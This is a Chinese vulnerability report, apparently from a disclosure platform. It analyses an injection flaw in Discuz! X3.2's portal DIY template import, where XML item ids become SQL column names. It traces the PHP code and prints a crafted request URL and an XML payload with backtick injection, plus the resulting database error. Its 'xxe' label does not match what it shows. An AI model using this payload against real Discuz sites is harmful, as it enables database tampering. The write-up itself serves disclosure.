### 简要描述:
Discuz! xxe 可破坏数据库结构,导致脏数据进入.......dz太变态了,小引号也过滤了,妹的,没办法只能分析到这里,但是隐约感觉到,这里存在很大的风险,因为改变了系统模板风格,先发个福利,大家自己看吧
### 详细说明:
首先我们看文件:
portalcp_diy.php(lines:301-324):
```
if (submitcheck('importsubmit')) {
$isinner = false;
$filename = '';
if($_POST['importfilename']) {
$filename = DISCUZ_ROOT.'./template/default/portal/diyxml/'.$_POST['importfilename'].'.xml';
$isinner = true;
} else {
$upload = new discuz_upload();
$upload->init($_FILES['importfile'], 'temp');
$attach = $upload->attach;
if(!$upload->error()) {
$upload->save();
}
if($upload->error()) {
showmessage($upload->error(),'portal.php',array('status'=>$upload->error()));
} else {
$filename = $attach['target'];
}
}
if($filename) {
$arr = import_diy($filename);
if(!$isinner) {
@unlink($filename);
}
```
这里有一个import_diy函数,我们跟进去看看:
function_portalcp(lines:580-680):
```
function import_diy($file) {
global $_G;
$css = '';
$html = array();
$arr = array();
$content = file_get_contents($file);
require_once libfile('class/xml');
if (empty($content)) return $arr;
$content = preg_replace("/\<\!\-\-\[name\](.+?)\[\/name\]\-\-\>\s+/i", '', $content);
$diycontent = xml2array($content);
if ($diycontent) {
foreach ($diycontent['layoutdata'] as $key => $value) {
if (!empty($value)) getframeblock($value);
}
$newframe = array();
foreach ($_G['curtplframe'] as $value) {
$newframe[] = $value['type'].random(6);
}
$mapping = array();
if (!empty($diycontent['blockdata'])) {
$mapping = block_import($diycontent['blockdata']);
unset($diycontent['blockdata']);
}
exit;
```
这里我们在打一个exit,因为后面的代码没有意义,不去看他了
第一个地方$diycontent = xml2array($content);
这个函数就是把post过来的xml转换成为数组存起来:
赋值所以条件成立后,函数流向block_import,我们跟进去看看:
function_portcp(lines:472-500):
if($data['style']) {
$hashes = $styles = array();
foreach($data['style'] as $value) {
$hashes[] = $value['hash'];
$styles[$value['hash']] = $value['styleid'];
}
C::t('common_block_style')->fetch_all_by_hash($hashes);
if(!empty($hashes)) {
foreach(C::t('common_block_style')->fetch_all_by_hash($hashes) as $value) {
$id = $styles[$value['hash']];
$stylemapping[$id] = intval($value['styleid']);
unset($styles[$value['hash']]);
}
}
foreach($styles as $id) {
$style = $data['style'][$id];
$style['styleid'] = '';
if(is_array($style['template'])) {
$style['template'] = serialize($style['template']);
}
if(is_array($style['fields'])) {
$style['fields'] = serialize($style['fields']);
}
echo $style;
$newid = C::t('common_block_style')->insert($style, true);
$stylemapping[$id] = $newid;
}
在insert之前我们分析一下这个$style数据源
来源两个地方
一个是这$style = $data['style'][$id];,另外一个是这行代码之后赋值的东西
在网上看看有一句:
$styles[$value['hash']] = $value['styleid'];
大家 恍然大悟了,这里存入数据库的key字段完全可控
下来分析代码缺陷到这里,我们直接构造请求包
请求的url:
http://localhost/Discuz_X3.2_SC_UTF8https://images.seebug.org/upload/portal.php?mod=portalcp&ac=diy&op=import&inajax=1
发送的postdata:
<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="layoutdata">
<item id="k">
<item id="kk"><![CDATA[11]]></item>
</item>
</item>
<item id="blockdata">
<item id="block">
<item id="k1k"><![CDATA[11]]></item>
</item>
<item id="style">
<item id="hash"><![CDATA[x]]></item>
<item id="x">
<item id="x\``"><![CDATA[`=sss#]]></item>
</item>
</item>
</item>
</root>
-----------------------------303962875023268
Content-Disposition: form-data; name="handlekey"
-----------------------------303962875023268
Content-Disposition: form-data; name="importsubmit"
true
-----------------------------303962875023268
Content-Disposition: form-data; name="tpl"
-----------------------------303962875023268
Content-Disposition: form-data; name="formhash"
e17868ae
-----------------------------303962875023268--
我们请求一个后发现数据库报错了,当然了我们这里就是让它报错的,看看报错的位置:
[<img src="https://images.seebug.org/upload/201409/1413291959cd184b9bc1a216dc5911799a2b2d0d.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/1413291959cd184b9bc1a216dc5911799a2b2d0d.png)
这里数据库语句为:
<div id="container">
<h1>Discuz! Database Error</h1>
<div class='info'>(1054) Unknown column 'x\' in 'field list'<div class="sql">INSERT INTO common_block_style SET `x\`='`=sss#' , `styleid`=''</div></div>
<div class="info"><p><strong>PHP Debug</strong></p><table cellpadding="5" cellspacing="1" width="100%" class="table"><tr
我们看看这个数据库字段定义:
[<img src="https://images.seebug.org/upload/201409/1413304226cdfb240038f97faf0fe2d9ba3222d2.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/1413304226cdfb240038f97faf0fe2d9ba3222d2.png)
这下明白了吧,set里面的字段完全可控,我们完全 可以控制其他本来不被控制的字段
[<img src="https://images.seebug.org/upload/201409/141337470d6ebebad286c346d9f1dff0358c80ce.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/141337470d6ebebad286c346d9f1dff0358c80ce.png)
这里就演示完毕,目前里面序列化的东西,还有后面的所有字段,都是可控,感觉潜在威胁很大,有qq公仔拿没有........
### 漏洞证明:
暂无评论